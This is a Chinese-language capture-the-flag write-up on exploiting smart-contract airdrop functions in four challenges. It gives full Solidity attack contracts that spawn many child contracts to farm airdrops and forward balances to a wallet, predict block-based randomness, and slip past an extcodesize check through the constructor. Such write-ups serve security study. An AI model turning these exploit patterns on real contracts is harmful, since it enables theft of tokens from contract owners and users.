区块链空投练习

RoarCTF2019 CoinFlip

nc连接拿源码

Ap:空投 Transfer:转账

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract father{
function attack(uint times){
for(uint i=0;i<times;i++){
Son son = new Son();
}
}
}

contract Son{
address pb=0xF60ADeF7812214eBC746309ccb590A5dBd70fc21;
address mywallet=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68;
constructor()public{
P_Bank(pb).Ap();
uint amount = P_Bank(pb).balances(address(this));
P_Bank(pb).Transfer(mywallet,amount);
}
}

bctf2018 Fake3d

拿源码

airDrop:空投

  1. 空投函数生成的随机数依赖的是msg.sender,可以算出来

  2. turingTest修饰器需要绕过extcodesize,合约的extcodesize不为0,但正在执行构造函数constructor并部署时extcodesize为0

  3. 合约用tx.origin来发奖金,所以不需要转账,tx.origin指向调用源的账号,而msg.sender指向调用的账号或合约

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
contract father{
Son son;
function attack(uint times){
for(uint i=0;i<times;i++){
son = new Son();
}
}
}

contract Son{
using SafeMath for *;
constructor(){
Fake3D f3=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
for (uint i = 0; i < 900; i++) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(this)))) / (now)).add
(block.number)
)));

if((seed - ((seed / 1000) * 1000)) < 288){
f3.airDrop();
}
}
}
}

直接调用CaptureTheFlag会失败,源码里Fake3D的构造函数传入了一个WinnerList合约地址 https://ropsten.etherscan.io/查看参数得到WinnerList合约地址

image.png

反编译分析得到tx.origin的第0x13个字节,也就是最后一字节为0x43或倒数第二字节(第0x12个字节)为0xb1才能通过

爆破符合的地址,用这个地址调用攻击合约

QWB2019 babybet

反编译合约

有空投函数profitbet函数,bet函数可以通过猜数字增加balance

image.png

所要猜的数字生成方式为

1
guess = block.blockHash(block.number-1);

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract father{

function destory(){
selfdestruct(msg.sender);
}

function attack(uint times){
for(uint i=0;i<times;i++){
Son son = new Son();
}
}

}

contract Son{
address bbb=0x5d1BeEFD4dE611caFf204e1A318039324575599A;
address mywallet=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68;
constructor()public{
babybet(bbb).profit();
uint guess = uint(block.blockhash(block.number - 0x01));
uint guess1 = guess % 3;
babybet(bbb).bet(guess1);
uint amount=babybet(bbb).balance(address(this));
if(amount>10){
babybet(bbb).transferbalance(mywallet,amount);
}
}
}

数字经济2019 jojo

地址:0x53c079c6d47fd7399c1ceee171db7141c35a6f44 附件:jojo.broken

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.4.24;

contract jojo {
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
address owner;

constructor()public{
owner = msg.sender;
}

event SendFlag(string b64email);

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
emit SendFlag(b64email);
}
............

先逆向合约

1
2
3
4
5
6
7
8
9
10
11
function gift() public {
assert(gift[msg.sender]==0);
balanceOf[msg.sender]+=100;
gift[msg.sender]=1;
}

function transfer(address to,uint value) public {
assert(balanceOf[msg.sender] >= value);
balanceOf[msg.sender]-=value;
balanceOf[to]+=value;
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract father{
function attack(uint times){
for(uint i=0;i<times;i++){
Son son = new Son();
}
}
}

contract Son{
jojo j=jojo(0x53c079c6d47fd7399c1ceee171db7141c35a6f44);
address me=0x3C5D01C380F8D8581bE8E3b5De0a8f35420f7D68;
constructor(){
j.gift();
j.transfer(me,100);
}
}